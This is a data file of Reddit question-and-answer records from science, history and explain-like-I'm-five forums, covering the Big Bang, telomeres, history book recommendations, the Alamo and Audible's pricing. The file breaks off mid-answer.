{"q_id": "2swjhv", "title": "If the Big Bang was repeated exactly, to the point where everything was 100% the same, would reddit still exist?", "selftext": "In other words, is the universe 100% dependent on its initial conditions, or is there a level of randomness that can influence it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2swjhv/if_the_big_bang_was_repeated_exactly_to_the_point/", "answers": {"a_id": ["cntjp7s", "cntknfd"], "score": [31, 4], "text": ["The development of the early universe was highly dependent on quantum fluctuations, which as far as we can tell are random. ", "Chaos theory would suggest otherwise. \n\nA non-linear system like our Universe would have very sensitive dependence on initial conditions.  \n\nRandom density variations during the initial inflationary epoch would have had a huge impact on the configuration of the Universe as we experience 13.4 billion years later.\n\nTl;dr: No."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "zkv1h", "title": "Is Xu Fu's arrival in and settlement of ancient Japan among historians widely accepted, laughable, divisive?", "selftext": "_URL_0_\n\nI was just having a glance at that and hadn't read of him in years, and now with this subreddit rocking felt compelled to ask anyone specializing in this area :) Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/zkv1h/is_xu_fus_arrival_in_and_settlement_of_ancient/", "answers": {"a_id": ["c65kfc9"], "score": [15], "text": ["I know a Chinese lady who believes this and I think a number of Chinese people informally believe it. There are also a number of legends in various areas about Japan of places that Xu Fu allegedly came to visit. My home prefecture in Saga has an annual contest that reenacts his sail, and there is a spurious history text called \u5bcc\u58eb\u53e4\u6587\u732e that says he founded the first empire in Japan at the base of Mount Fuji. Finally, another ancient chronicle of China that I was reading yesterday says that he came to some other place, maybe Taiwan. But there is no hard evidence whatsoever that Xu Fu really existed outside the *Records of the Grand Historian* written 100 years later."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Xu_Fu"], "answers_urls": [[]]}
{"q_id": "17e20r", "title": "If we \"age\" because our cells chop off the ends of our DNA after each replication, how can we produce sperm and eggs which create a baby with \"young\" DNA?", "selftext": "I've been reading about aging and the [Hayflick limit](_URL_0_) and I'm struggling to figure out how anything which is old can create something young.\n\nI did read that cancer cells are able to avoid the Hayflick limit by using the [Telomerase](_URL_1_) enzyme, but does that simply stop the ends from getting chopped off DNA or does it actively repair the DNA?  If the latter, how does the enzyme know when to stop adding links?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17e20r/if_we_age_because_our_cells_chop_off_the_ends_of/", "answers": {"a_id": ["c84muvq", "c84nph2", "c84nr5n", "c84nwdx", "c84xodk"], "score": [5, 11, 15, 191, 4], "text": ["Well your question would only really apply to sperm. All eggs are created at the time of birth. I can't answer anything else though.", "Telomerase extends the telomeres, such that in stem cells they are constantly ensuring that they have long telomeres. Says it in the first sentence of your second link:\n\n >  Telomerase is a ribonucleoprotein that is an enzyme which adds DNA sequence repeats (\"TTAGGG\" in all vertebrates) to the 3' end of DNA strands in the telomere regions, ...", "Telomerase, if I recall right, adds hexameric repeats to the telomeres.  In spermatogonia, there's a upregulation of KitI, which spurs telomerase activity.  Along with an RNA template, the telomerase just drops a bunch of repeats at the end of the chromosome, but then the system shuts off as the spermatogonia mature to spermatozoa.\n\nSomeone with more developmental bio experience can probably answer this in more detail.", "This really isn't a problem because we actually do have at least 2 different systems capable of extending the telomere length.   In rapidly replicating cells, like the stim cells that differentiate into sperm, these are turned on and there is no risk of telomeres getting too short. \n\n So the question you think of now is: well if this system exists, why don't all cells use this to stop the symptoms of aging due to shortened telomeres?  This system is turned off in most cells because it prevents cancer.  In fact, one of the most important prerequisites for cancer is for at least one telomere extending systems to be turned on inappropriately.  If a cell is otherwise able to replicate uncontrollably, shortening chromosomes could still stop it from developing into cancer.\n\n\nSome side notes:\n\nEggs do not replicate through out the lifetime of the organism, so they should be have a telomere length similar to that of the original zygote even without an active telomerase system.  \n\nFor sperm, it has been hypothesized that there is a sort of mini evolutionary selection between when it is first ejaculated to the point that it reaches the egg.  Sperm that had genetic problems should not be able to make it all the way to the egg.  This natural selection at the microscopic scale could act to prevent the least viable genetic combinations in the sperm from generating a zygote.", "It should also be noted that DNA damage/mutations in the interior of chromosomes is also a significant factor in aging. Your DNA is exposed to radicals and ionizing agents all the time, the skin being a prime example. As the skin accumulates DNA damage primarily from UV radiation and any associated radicalization, the skin becomes more wrinkly and prone to cancer. Telomeres are certainly important in aging, but they are only half of the story. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Hayflick_limit", "http://en.wikipedia.org/wiki/Telomerase"], "answers_urls": [[], [], [], [], []]}
{"q_id": "4o1n26", "title": "I want to read a book like Guns Germs and Steel, but isn't ridiculed by modern historians/scientists like Guns Germa and Steel, what should I read?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4o1n26/i_want_to_read_a_book_like_guns_germs_and_steel/", "answers": {"a_id": ["d48xi1w", "d48y4vw", "d48z92o", "d4905a3", "d490ysp", "d4912r3", "d491mmd", "d498u8o", "d49iqxg", "d4a2o5g", "d4a43nh"], "score": [333, 20, 8, 44, 9, 8, 20, 18, 9, 2, 2], "text": ["Hard to know what you mean when you say \"like GGS\" (answers the same questions? same sort of scope? same sort of argument?), but if you're looking for a fun-to-read, big-scope, tells-you-about-how-the-world-got-to-be-the-way-it-is, mixture-of-anthropology/geography/history sort of book, Charles Mann's _1491_ and _1493_ are both excellent and fascinating. They aren't trying to answer the same question as Diamond, but they give a lot of in-depth discussion about what happened with the European conquest of the Americas and the wider global consequences of \"Columbian exchange.\" Mann is a journalist but he does a great job of engaging with academic work, but in a readable and thought-provoking way. It has been very well-received. \n\nSeparately, you could also just read GGS and take some of its arguments with a grain of salt. It is not a \"dangerous\" book (those who think it is racist [are making quite a strange and unwarranted conclusion in my opinion](_URL_0_)) and it will not hurt you to read it. It makes an interesting though somewhat hand-waving argument, and much of the opprobrium directed at it is (again, in my view) a bit overheated. It is not a book so full of nonsense (in the sense that a lot of pseudo-history, Holocaust denial, etc. is) that you will do yourself damage trying to grapple with it. I am not sure Diamond has hit upon the only possible answer to his question (why did Europe become the first major global power?), but it does not strike me as _a priori_ invalid to look to geographical/environmental factors as a place for a possible answer. Diamond is a common whipping-boy for academics (in part, no doubt, because he is so well-read and popular despite not being a historian) but he's not intellectually dishonest (much less _evil_, but you wouldn't guess that from the way in which [academics feel free to make a spectacle of their attacks on his work](_URL_1_)).", "For a 'global' history that deals with the \"Rise of the West\", you can't go wrong with Robert Marks, *The Origins of the Modern World: A Global and Ecological Narrative from the Fifteenth to the Twenty-first Century*.\n\nIt's great--and if you read Marks' book, and then read Diamond's book, you'll see all the incredibly crucial things that Diamond ignores, misses, or just gets wrong.  \n\nThe only problem with Marks' book is that it's a bit \"textbooky\", i.e. it doesn't have a gripping storyline...    \nSo some readers (not me) might find it boring.", "My understanding of GGS is that it is a \"grand theory\" style of book -- where it attempts to explain huge swathes of time as part of a single, underlying cause. These tend to be fundamentally flawed, simply because reality is inevitably too complicated to be able to be reduced into a single origin point, even though it is deeply satisfying to do so. So I think any time you read a book in that vein, you need to be conscious of the way it simplifies its subject.\n\nIf you *are* conscious, however, I think it's possible to read \"grand theory\" books in the context of how underlying or previously unconsidered elements have shaped the trajectory of events (as long as you remember they were not the exclusive or even necessarily primary causes of those events).\n\nSo with that precedent, the two books I've enjoyed that I would recommend -- similar to GGS in their goals, rather than their contents -- would be these: \n\nFirst, Dan L. Smail's *On Deep History and the Brain*, which looks at the role of drugs and brain chemistry in shaping human actions over time. Smail is, among medievalists, at least, respected and considered thorough and competent; this book may not have 100% agreement among scholars but it's definitely not ridiculed by historians. I can't speak to its reception among scientists, unfortunately. \n\nThe second book I'd reccomend would be William McNeill's *Plagues and Peoples*, which is a little more on par with GGS in that most people consider it flawed and outdated, but my understanding is that its significance in a broader historical context is still widely accepted (that is, historians still appreciate what McNeill was trying to do, even as they don't agree with the details of his analysis and conclusions; where there's no such broader respect among historians for GGS).", "Two books that cover the \"guns\" and \"steel\" angles covered by Diamond are William McNeill's [*The Pursuit of Power: Technology, Armed Force, and Society since A.D. 1000*](_URL_0_) and Geoffrey Parker's [*The Military Revolution\nMilitary Innovation and the Rise of the West, 1500\u20131800*](_URL_2_). Both works are classics in their respective fields and are fairly well-respected works. Although they are not entirely above criticism, this [anthology](_URL_3_) adds a lot of qualifications to the Parker thesis, they are, like Diamond, accessible entry works into the big picture. \n\nFor \"germs\", Alfred Crosby's *The Columbian Exchange: Biological and Cultural Consequences of 1492* is one of the seminal works of its time and still an interesting read for the non-specialist and Crosby later wrote [*Ecological Imperialism: The Biological Expansion of Europe, 900\u20131900*](_URL_1_) that examined Europe's empire-building process as an ecological one that was fundamentally transformative for the globe. ", "GGS seeks to answer the question of \"why did Western Europeans come to dominate the world\" phrased in the book as \"Why is it that you white people developed so much cargo and brought it to New Guinea, but we black people had little cargo of our own?\"\n\nI think we all know what he means by that question, but to really answer it one has to delve into the premises of the question itself, rather than accepting it on its face.\n\nThe majority of European history has been precisely the opposite of the premise: Europeans have historically had little of value to trade, and sought access to the trading regions of India and China. This is not mentioned at all in GGS. To answer the question of how the shift to European dominance of global trade took place, you could check out *Empire of Cotton* which tracks this process for cotton in particular which was for a period of time the most valuable manufactured good in global trade.\n\nAnother recent book I would recommend is *Pathfinders: A global history of exploration* which seeks to answer a different question: how were the present links of global trade established and why did the Europeans take the lead in forging these links? *Discoverers* by Daniel Boorstin is an older book that treads over much the same ground.", "*The Great Divergence* by Kenneth Pomeranz is a book which uses similar environmental deterministic methods to explain Europe's ascension to world economic supremacy. It also examines in great detail the economies of early modern Europe and China. I have only ever read that Pomeranz makes thoughtful interpretations of the evidence and that the only criticisms due to the book are criticisms of environmental determinism initself. I (just a history undergrad) find his basic argument very compelling: that Europe and China had similar economic development at the beginning of the early modern period and that Europe's great divergence was enabled largely by the wealth from colonies in the new world.", "I very much enjoyed Ian Morris' *Why the West Rules* (and also *War - What is it good for?*). It is also an exploration of geographic determinism as per Diamond's arguments in GGS however it does have numerous issues as one would expect from any book attempting to tackle such a complex and comprehensive topic as the sum total of human development. I feel the major difference between the two is that Morris seems far more open about the failings of his own writing and actually recognises that key developments in history were undoubtedly driven more by the actions of individual humans. \n\nedit: Got the book title wrong! \n\n2nd edit: In response to a presumably deleted reply - By actions of individual humans I mean more in the sense that there seems to be far more awareness that things *could* have turned out differently than some sort of espousal of the Great Man theory. As an example, he spends quite some time exploring why China turned inwards rather than outwards (i.e. the rise and fall of the Treasure Fleets) with far more reference to politics and human geography than Diamond would apply in my opinion.", "Two books which have the epic sweep of *Guns, Germans, and Steel* but are more widely respected these days are both more circumscribed in their geography than GSS while, if anything, cover even wider swaths of time: *Europe Between the Oceans: 9,000 BCE to AD 1,000* by Barry Cunliffe and *The Horse, the Wheel, and Language: How Bronze-Age Riders from the Eurasian Steppes Shaped the Modern World* by David W. Anthony. Both are very well respected and cover similar subjects--the rise of Indo-Europeans--but take slightly different approaches and so make slightly different arguments based. Cunliffe is an archeologist, and makes an argument for Anatolian origins wheras Anthony uses more linguistic evidence and argues for Steppe origins (a modified \"Kurgan Hypothesis\"). Both very interesting and useful for specialists and general readers, and I haven't seen a good argument as to why one is definitely better than the other. \n\nOne book that's never on these lists in Charles Tilly's *Coercion, Capital, and European States, 990-1992*. It's an amazing book that brings you from the post-Roman feudal order to the modern welfare state, written by the single most historical sociologist (period). It is basically the beginning of all discussions of state-making, and quite frankly the end to many of them as well. It's read by most sociologists, but has made no impression on general readers (though European historians are also know to cite it and love it). ", "What is the beef with \"guns germs and steel\"?\nThe book seemed well done to me .\n", "The book 1491 and 1493 are great if you want to learn about the Americas before or after Columbus.", "For a large-scale history about the transformative relationships between humans and things, check out Richard Bulliet's new [*The Wheel: Inventions and Reinventions*](_URL_0_) (2016). It's a brilliant book by a top-notch historian. His specialty was early Islam, but he's really branched out from there. If you want to know more, he did an [AMA](_URL_1_) on it just a few months back."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3ye3ju/why_is_jared_diamond_author_of_guns_germs_and/", "http://www.tandfonline.com/doi/abs/10.1080/10455752.2013.846490?journalCode=rcns20"], [], [], ["http://press.uchicago.edu/ucp/books/book/chicago/P/bo5975947.html", "http://www.cambridge.org/us/academic/subjects/history/global-history/ecological-imperialism-biological-expansion-europe-9001900-2nd-edition", "http://www.cambridge.org/us/academic/subjects/history/regional-and-world-history-general-interest/military-revolution-military-innovation-and-rise-west-15001800-2nd-edition", "https://westviewpress.com/books/the-military-revolution-debate/"], [], [], [], [], [], [], ["http://www.goodreads.com/book/show/26262992-the-wheel", "https://www.reddit.com/r/history/comments/42yv2z/im_richard_bulliet_ama_about_the_origins_of_the/"]]}
{"q_id": "1i0hnw", "title": "How do Mexican Historians view the Battle of the Alamo and to a greater extent the Texas War of Independence? How is it taught in Mexican Schools?", "selftext": "Additionally, how is the United States' role portrayed? How is it taught in relation to the Mexican-American War? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i0hnw/how_do_mexican_historians_view_the_battle_of_the/", "answers": {"a_id": ["cazw64d", "cb04ztq"], "score": [16, 11], "text": ["So many questions!  Unfortunately, I fail to answer all of them but I can give my perspective as an Hispanic Historian from Texas as well as what I do know about how the subject is taught in Mexico.\n\nThe answers are dependent on which particular part of a Texan's life as a student you are referring to.  For example, for me, an entire year-long course in middle school was dedicated to the history of Texas.  I was taught the story that the Texans fought valiantly and almost always succeeded against a superior Mexican force led by an evil dictator.  This is the story you hear when you visit the Alamo as a tourist.  Of course the people giving the free tours, the Daughters of the Republic of Texas, give you the heavily biased version.  From what I recall, the way the history is told by most teachers (of any ethnic background) makes it very white vs brown when it was anything but that.\n\nFor a more accurate version you have to go to academia, at least in heavily populated Hispanic areas of the state, professors (of all ethnic backgrounds) teach a more balanced and seemingly truthful version of events.  I do not know if this applies for the northern and eastern part of the state.\n\nAs for how it is taught in Mexico, I can only provide what my wife experienced.  My wife went to primary and secondary school in Mexico (came to a U.S. school as a sophomore) and she was never taught about the Texas Revolution.  She didn't learn about it until she moved to Texas and was surprised about how big of a topic it is there.  What's funny is that, like their Texan counterparts, she was taught that ~~Porfirio Diaz~~ Santa Anna (sorry for the original mistake) was a dictator that drastically hurt the country.\n\nI hope this at least answers some of your questions.\n", "I'm a mexican student and the way it was taught by my textbooks was that the mexican government gave americans permission to settle Texas because the northern states were mostly depopulated, and later on the settlers came and brought their slaves with them, and slavery was already outlawed in Mexico, so the government didn't like that (plus the fact that the settlers outnumbered mexicans 4:1 I think) and they sent troops (or policemen) to the north to counter this, the settlers didn't like it and they revolted and declared independence, the government did't recognize it and they sent the military to regain the territory, the Texan government allied itself with the United States and they won."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5xwf79", "title": "where do babies come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xwf79/eli5_where_do_babies_come_from/", "answers": {"a_id": ["delda0l", "deldahy", "deldc4t", "deldf41"], "score": [3, 2, 3, 3], "text": ["You are what you eat... or in this case, what your mom eats.  Conservation of mass says that you can't create the materials, but you can take them from one thing (food) and put them in another (a baby!).  So just like the mother's body grows and repairs its own cells, it sends nutrients through the umbilical cord so that the baby's cells can do the same thing.  \n\nWhich is why we say that pregnant women are \"eating for two.\"  In addition to the food they need to keep themselves healthy, they need to eat enough extra to keep their baby growing chubby and healthy.", "Yes, the mom ingests food. Some of that material is used in the process of building new cells, such as the cells a baby is made out of. ", " >  the law of conservation of mass\n\nHave you ever see pregnant women eat?  Ever heard the phrase \"eating for two\"?\n\nConservation of mass only works in a closed system.  When you stuff food in your mouth, that's not a closed system - you're constantly **adding mass** to the system.", "So, hopefully this doesn't get deleted. I don't know if it's succint enough, but I just wanna help.\n\nSo, just like how when kids become teenagers turning into adults? And all the while they gain mass? When a woman is pregnant, her body requires massive amounts of occasionally weird food to fuel the work her body is doing, so simplest answer possible? She converts food to baby... So all babies are food babies! But yeah, the uterus uses the food to create what it needs. Which is why my perpetually pregnant aunt eats pickled peppers dipped in cheese and pudding mixed... I had to take a break and vomit there. But yeah, so, mom's are 3d printers and I'm gonna lie down now. Someone lemme know if I helped."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3vo6ad", "title": "if netflix offers unlimited movies each month, why does audible cost more and only offer one audiobook each month?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vo6ad/eli5_if_netflix_offers_unlimited_movies_each/", "answers": {"a_id": ["cxp6e4s", "cxp6ele", "cxp6g3x", "cxp75j7", "cxp7qku", "cxp92jx", "cxp9h95", "cxp9owc", "cxpap92", "cxpaul2", "cxpbk9n", "cxpbwag", "cxpc8tt", "cxpcq8u", "cxpcr61", "cxpd5pe", "cxpda65", "cxpdn3t", "cxpdpny", "cxpduqy", "cxpeszt", "cxpfq9l", "cxpfqup", "cxpge34", "cxpgg1r", "cxpgmd9", "cxpgvn3", "cxpgxfg", "cxph28m", "cxph3x7", "cxphdbg", "cxphloe", "cxphmul", "cxphrft", "cxphy69", "cxpi5pf", "cxpicwv", "cxpj1a2", "cxpj4jq", "cxpjhjc", "cxpjz77", "cxpk1m1", "cxpk5aq", "cxpkk8z", "cxpkzfk", "cxpl70b", "cxplirp", "cxplp7r", "cxpltba", "cxpneh5", "cxpo2as", "cxpoas8", "cxpolxu", "cxppcsz", "cxppn4u", "cxppxu5", "cxpra90", "cxprlvq", "cxprv4g", "cxps3yl", "cxps5vi", "cxpsivt", "cxptcp5", "cxptw35", "cxptwkc", "cxpve81", "cxpvm3r", "cxpw40t", "cxpwqp7", "cxpyne5", "cxpz11j", "cxpzcz3", "cxpzyw4", "cxq079d", "cxq0kvh", "cxq12ao", "cxq359i", "cxq3dt8", "cxq4a9y", "cxq4lov", "cxq5iii", "cxq5tjf", "cxq6wd4", "cxq73sk", "cxq7da9", "cxq7pzy", "cxqa7rw"], "score": [3, 176, 9, 2974, 36, 25, 59, 4, 2, 9, 15, 4, 2542, 3, 7, 3, 2, 3, 2, 4, 30, 3, 6, 2, 26, 2, 5, 11, 2, 2, 2, 51, 2, 5, 2, 2, 2, 2, 6, 2, 5, 2, 2, 2, 2, 3, 2, 6, 2, 10, 2, 3, 2, 5, 2, 5, 3, 3, 2, 2, 3, 2, 2, 2, 3, 2, 2, 3, 2, 2, 2, 2, 2, 2, 5, 2, 3, 2, 2, 4, 2, 4, 2, 5, 2, 2, 3], "text": ["Because it costs audible more to run its business, so it has to have higher prices\n\nBecause less people pay for audible subscriptions, so audible needs to bump up the price otherwise it would run at a loss\n\nOther reasons.", "because the people who own the rights to audiobooks are demanding Amazon charge more for them. So to make the service more usuable they simply use the monthly fee to pay for one book a month. \n\nIts not Audibles choice. The book companies are the ones demanding the money. To be fair a lot of thats because the audio book is the finished product. Shows and movies on Netflix already made their money. They already aired on tv and in theaters. This makes money from netflix just bonus free money for them.\n\nAudiobooks arent released before the service so thus they cost more.", "Netflix pays lump sums to show something to any users who want to see it for some set amount of time. If they were to pay $1,000,000 for a movie, and only had 1000 users, they would have to charge each user $1000. The thing is, Netflix has a massive number of users, and most of their selection is old so its cheaper, allowing them to get a lot of content pretty cheap. I don't know what audible's deals look like but if they do it similarly, then they have to worry about paying these large lump sums when they only have a fraction of the number of users. Even if the rights for a book are cheaper than a movie, that cost is divided across a smaller pool of users.\n\nBut the real answer is \"if people were not willing to pay $15+ per additional book they would find a way to cut costs (probably by cutting selection), but apparently people are paying the $15+ so they continue to do things the way they have been\"", "I think you misunderstand how Audible works.\n\nI can listen to any of the books in my Audible library over and over again, as many times as I want.  There is no \"listen to one audio book each month\" rule.  The standard Gold plan is \"*purchase* one audio book each month\".  But once you've purchased it, you can listen whenever you want, as often as you want, even years later.  This works well for me because I do enjoy listening to a number of audiobooks more than once.  It also works because there are some books I just can't finish within a few weeks (or even years).  \n\nThis is different from Netflix, where you never own any rights in a movie.  Each month, they add some new content and remove other content.  If there's a movie you wanted to watch but didn't catch in time, too bad.  If there's a movie you started watching but didn't finish in time, too bad.  (There are times when Audible will remove a book from availability, but that only applies to new purchases.  Once you've bought it, it's yours, even if Audible subsequently drops it from their store.)\n\nEDIT: Many of the replies to my post here have asked if you can keep listening to an Audible purchase after canceling your subscription.  The answer is yes.  \n\nIn fact, you don't need a subscription.  You can go to the Audible web site, purchase a single audiobook, download it, and it's yours to listen to, forever.  You can't transfer or sell it to someone else.  Just keep track of the email address or account name you used for the purchase  (which will be your Amazon account for new users).\n\nThe only real issue is what happens when you upgrade your phone or replace your computer.  It depends on the type of device, and in some cases, you may need to speak to Customer Support, but generally there's no problem with moving your library to new devices.  Currently, you can have the mobile app authorized on ten different mobile devices at the same time.  ", "One audiobook per month is quite a lot, one movie a month isn't. \nBesides, you get to keep the book forever with audible, if you quit Netflix you can't watch any movies at all.", "You buying a life time license for the audio book that you can keep even after you cancel the service vs Netflix getting a temporary license to stream it.  \n\nHow come bluerays still cost more than a month of Netflix?", "Just so you know, Audible (the software/app/whatever) is actually free. The subscription just lets you get one book of your choice every month. You can go without a subscription and just buy the audiobooks normally if you want to.\n\nEdit: To make an analogy, Audible is basically Steam but with audiobooks instead of video games.", "As many people have pointed out, you get to keep your audible books after you are done.\n\nI had a subscription for seven months got all 7 A Song of Ice and Fire books for 15 bucks each, if you don't have a subscription then they are like 50 each. Then i canceled the service. I am re-listening to Dance right now, I haven't had the account in over a year. I have a new phone. I downloaded the app signed in and re-downloaded it for no additional cost. Can't do none of that with Netflix.", "Audible is like the Internet version of BMG or Columbia House cd club of yesteryear.  You get a bunch up front, a free one a month and bad prices if you want more than that. \n\nIt's not the same business plan as Netflix or Hulu etc", "You should look into digital loans through your state/county library. I buy a book maybe every two months but end up checking out another 2-3 in that period for free.\n\nAlso a lot of the older books are available for free (no copyright due to age) via numerous sources, including amazon, project Gutenberg and others.", "OP have you considered checking your local library for streaming services? I live in the middle of no where and my county's library program lets me rent 7 audiobooks a month completely free through Overdrive and Hoopla", "It would be interesting to see how the market would work if Spotify started doing audiobook. The free would have ads every 30mins of the book instead of the usual for songs. And would google jump ok it as well. Their red service is surprisingly competitive. Music, movies, ad free, youtube OC. ", "Employee of a rival to audible here: (edit: Not Scribd)\n\nWe used to offer unlimited streaming of books, but had to move to a credit system because publishers would not get on board with streaming. As such, we were charged the full price of the book once users listened to any amount of the book other than the free samples. If a person started listening to more then a few books each month and we lost money on a sub. This happened a lot.", "What I do wish is that there was an Audible equivalent to Netflix **DVD** subscription where the library is almost limitless, but they have to mail a physical copy that you have to wait for. I'd rather wait for something good than* have unlimited streaming access to pure garbage.", "The goal of streaming services is to make you spend more money than you otherwise would. For instance, the yearly subscription of Spotify is $120. The average american spends around $60 on music, there's a gain for everyone.\n\nWith movies and books, people watch it once and that's pretty much it, so you have to take into account the amount of material you can consume per month.\n\nThe thing with movies is that they don't generate a lot of profit a few months after their theatrical release, so they are cheap for netflix, while books they are still providing high amounts of income for all parts.\n\nTL;DR: If you would listen to a book a day, Audible would operate at a (huge) loss.", "I recently answered a Audible survey where it asked if id be intetested in a cheaper rent model (like netflix) rather than their current ownership model. So they're obviously thinking about mixing it up a bit.", "Lots of great and interesting answers here, but as a voiceover artists, I can't seem to find an obvious part of the answer... There is an additional step involved in an audiobook... The recording itself. When a film is in the can, it's done. Whether it's in a theatre or in your home, it's all the same product (with the small exception of someone coding the film for streaming). A book is a book. You read it with your eyes. Putting it on a kindle would be similar to making a movie available to stream. But when you make it an audiobook, you have to have a voice actor(s), an engineer, and it must be produced. Some books take many days if not weeks to record. Then, typically, it's an entirely different company that distributes the audiobook. I have to imagine those additional steps makes the price go up. ", "I really don't know the answer to your question, but I have to give a shout-out to my local library from which I borrow tons of audio books online. The selection is amazing, and though there may be a wait for many books, there are a ton of great books available right away. Also, I live in a small town, so I bet there are places with an even better selection. I rarely listened to an audiobook before I found out I could easily borrow them. ", "I thought the same thing. Maybe because you get to keep a copy of the audio book because you now own it unlike Netflix. But id totally go for a different plan where you dont get to keep a copy and have unlimited streaming of books. ", "In Japan, Audible operates much like Netflix, with one monthly fee covering unlimited audiobooks. I don't know if they plan to do the same with their other stores, but Amazon's been lowering royalties and referral fee payouts, so they may be gradually conditioning audiobook publishers to get used to making less per individual license, in order to warm them up to the idea of moving to an unlimited model where they'll make considerably less per borrow but could see much more volume and exposure than ever.", "An audiobook is often 12-20 hours of entertainment (or more).  When you buy it from Audible, you own it.  You don't have to maintain a subscription to maintain access to it.  \n\nIf you prefer to subscribe and read books free, get Kindle Unlimited.  \n\nNetflix is a tertiary market for movies and television.  By the time a show or film gets to Netflix it has had many many MANY opportunities to sell tickets, sell DVDs, sell downloads, market itself, be adapted into other forms, market itself some more, and on and on and on.  \n\nAudible is often the primary market for a book.   Like a first-release film in a theater.  You buy a ticket and read the book.   You don't pay eight bucks and watch theater movies for a month.  ", "because netflix made a business in response to a need and audiobook made a business in response to a persons desire to make money", "Wow. I totally forgot I had an audible subscription until I seen this, they've been charging me each month for almost a year and I failed to notice. \n\nThanks for the heads up!", "Audible has pretty much all of the audiobooks out there, including brand new ones which are expensive. Netflix streaming has pretty much none ( way less than 1%) of the movies out there. The more comparable option is Netflix's DVD service, which has a much more complete library, and you can only rent a few of those per month, much like audible. Even there you can't keep the movie forever, while with audible you own the audiobook.", "Hey I'm not sure if someone else has answered what you are looking for, but I thought I'd add in my perspective and see if it helps. I'm an actor and I narrate for _URL_0_. \n\nMovies make most of their money from box office sales, and the profit after they are out of theaters is incredibly less, so they can sell the rights for cheap to places like Netflix and Apple. \n\nTV makes theirs from ads both in product placement and commercials. That's why ratings polls only ask about people who watch shows live, and not DVRs and such.\n\nAudiobooks ONLY make money from being audiobooks. Paying the authors, narrators, sound editors/engineers, and making a profit comes from a much more niche market, thus costs more.  ", "Most top comments miss the fact that you \"own\" your audiobook from audible (at least that the way the plan I'm on works) ... And can continue to access then even after you stop paying monthly.  IE: you're purchasing rights versus renting from a catalog.  Big difference there.", "Also, Netflix doesnt have all the available movies in the world for you to stream whenever you want, They have a certain selection, of mostly older and indie films. Audible has access to just about everything. Its a more fair comparison to Amazon Instant Video or Itunes, but with a subscription you get one discounted item a month.\n\n", "You *own* what you listen to on Audible. You can therefore, listen to it whenever you want.\n\nWith Netflix, you basically *rent* access and when/if Netflix takes it away, it's gone. You don't own the content.", "Audible is more like amazon instant video with subscription discounts: because it's pay per book (consider a book to be a season), they have a very comprehensive set of books to choose from.  The subscription service discounts the books to somewhere between $10 and $15 each and you get any book you want including on the day they release.  So, if your time is more important than the cost of the books, audible is a fantastic service due to convenience, quality, and availability. If not, well, you're not their market and you'll get the book off torrent or somehow find it on youtube or whatever and lose the convenience while risking viruses.", "Another thing is that audiobooks have less mass-appeal than TV or movies. This can mean that Audible charges more to cover its costs, and/or it knows it has a niche product that would be popular among people with a bit more spending money.", "I'm not sure if anybody said anything about your local library, but you should check out your local library (i didn't want to scan through 785 comments).\n\nMost of the libraries actually do offer audio books that you can check out physically or they do have agreements with overdrive, or 3m or some other online provider where you check out audio books like you do on audible and listen.\n\nIt is completely FREE!!!\n\nI go to overdrive app on my android phone, find a book I want to listen from my library via the over drive app, press one button check the book out, press one button to download the audio book onto the app and done. \n\nSo check it out. You might be as surprised as I was when I found out all of the amazing stuff my local library offered. \n\n\n\n", "I work for _URL_0_. We started offering unlimited audiobooks, and it was great, everyone liked it. But as mentioned elsewhere, royalties on them are really high - publishers don't want to rent them at rates which make sense for a streaming service. Some of the audiobooks cost us $10 per customer / listen - our subscription costs between $3.99 and $8.99 a month, depending on the plan. That means anyone listening to one book a month was costing us more than they were paying.\n\nAnd here's the kicker: audiobooks are *great*. People who like audiobooks don't listen to just one book a month. They listen to a book on their two hour commute to work in the morning, and a book on the way home. People listen to two books a day, and think the service is fantastic - but then they've listened to 60 in a month, at $10 per book (cost to us), and we've paid out $600 in royalties in exchange for their $8.99 subscription fee.\n\nScribd has the benefit of not being solely for audiobooks - we also have comics and ebooks and user uploaded documents, which are still unlimited. So we still have content to offer people outside of the one audiobook a month system we ended up forever to switch over to. But it sucks for everyone - we get emails all the time asking where the unlimited system went, and people tend to assume it's greed on our part, whereas we tried really hard to negotiate a better system with the publishers.", "Well it's quite simple.\n\nAudible gives you an audiobook once a month that you own (and can still listen to after you cancel) and gives you the latest releases and almost every popular audiobook as it is released. This is the same as buying one audiobook a month.\n\nNetflix allows you to watch movies while you pay a subscription (renting) from a selection of older stuff that they have chosen and a small selection of there own content. If Netflix was like audible they would give you a movie to download and keep once a month.\n\nIt's the same as Spotify vs iTunes, if you budgeted to buy one album on a set day each month. \n", "btw, If you try to cancel your subscription, Audible will offer your from 3 to 6 months with 50%.", "Because you use the credits to **buy** the audiobook, whereas Netflix is just a subscription to a service. Audible is more like Vudu for audiobooks.", "I think it should be said that many libraries have unlimited, free, online audiobook checkouts..  ", "I just canceled my audible when I realized it had a credit system. I was already a prime member but decided to try the trial. I forgot about it for 2 months and figured out I had 3 credits. Three whole books for 3 months, I canceled the service immediately. \n\nI love some of the recordings on Audible though, The Martian was well done and i'm sure a lot of them are.. But for the price, and system... I just bought a kindle, more cost effective. ", "If you would like an audiobook subscription, try _URL_0_. It's mostly a radio streaming service but they have a large amount of audiobooks with many new releases for premium users. ", "Audiobooks do seem to be too expensive. But there are reasons for the higher price explained by others in this thread. In many ways, it comes down to economy of scale. Movies sell on a much more massive scale than audiobooks, so the individual units become cheaper.\n\nWhile I wouldn't expect audiobooks to be quite as cheap as movies, I would expect them to be cheaper than they are.\n\nThere are easy ways to break the Audible DRM so that you can backup your collection offline, and use your audiobooks in 